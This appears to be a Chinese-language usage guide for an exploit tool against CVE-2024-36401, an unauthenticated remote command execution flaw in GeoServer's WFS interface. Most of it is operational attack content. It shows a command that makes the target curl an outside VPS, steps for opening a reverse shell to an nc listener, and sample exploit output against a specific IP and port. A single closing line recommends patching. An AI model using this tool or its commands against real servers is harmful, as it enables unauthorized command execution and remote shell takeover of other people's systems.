CVE-2024-36401 是 GeoServer 中的一个远程命令执行漏洞,攻击者可以通过构造特定的 WFS (Web Feature Service) 请求,在未授权的情况下执行任意命令。
pip install requests该工具支持两种使用模式:cmd 模式(直接执行命令)和 reverse 模式(建立反弹Shell)。
假设VPS地址为 111.46.112.85,
使用 cmd 模式执行 curl 命令,测试目标服务器是否能够访问外部网络:
python exp.py cmd "8.147.134.121:32831" "curl http://111.46.112.85:8090/hello"
验证方法:在 VPS 上启动 HTTP 服务器接收请求
# 在 VPS 上执行
python -m http.server 8090
如果成功接收到回弹信息,会看到类似以下输出:
Serving HTTP on 0.0.0.0 port 8090 (http://0.0.0.0:8090/) ...
39.106.20.178 - - [04/Oct/2025 17:22:30] code 404, message File not found
39.106.20.178 - - [04/Oct/2025 17:22:30] "GET /hello HTTP/1.1" 404 -
使用 reverse 模式建立反弹Shell连接到指定的 VPS 和端口:
步骤1:在 VPS 上设置监听端口
# 在 VPS 上执行
nc -lvp 6666
步骤2:执行漏洞利用工具发起反弹连接
python exp.py reverse "8.147.134.121:32831" 111.46.112.85 6666
执行后,工具会显示类似以下输出:
[+] Response Status: 400
[+] Response Length: 1121
<?xml version="1.0" encoding="UTF-8"?><ows:ExceptionReport xmlns:xs="http://www.w3.org/2001/XMLSchema" xmlns:ows="http://www.opengis.net/ows/1.1" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" version="2.0.0" xsi:schemaLocation="http://www.opengis.net/ows/1.1 http://8.147.134.121:32831/geoserver/schemas/ows/1.1.0/owsAll.xsd">
<ows:Exception exceptionCode="NoApplicableCode">
<ows:ExceptionText>java.lang.ClassCastException: class java.lang.ProcessImpl cannot be cast to class org.opengis.fea
此时,如果利用成功,VPS 上的 nc 监听将会接收到反弹的 Shell 会话。
Usage:
python exp.py cmd <target> <command>
python exp.py reverse <target> <vps_ip> <vps_port>
cmd:执行单条命令模式reverse:反弹Shell模式<target>:目标服务器地址和端口,格式为 ip:port<command>:在目标服务器上执行的命令<vps_ip>:VPS服务器的IP地址<vps_port>:VPS上监听的端口号该漏洞利用了 GeoServer WFS 服务中的安全缺陷,通过在 valueReference 中注入 Java 代码来执行系统命令。工具通过构造包含恶意代码的 XML Payload,发送到 GeoServer 的 WFS 接口,从而实现远程命令执行。
/geoserver/wfs为对应的内容。及时更新 GeoServer 到官方发布的安全版本,并遵循安全最佳实践配置服务器。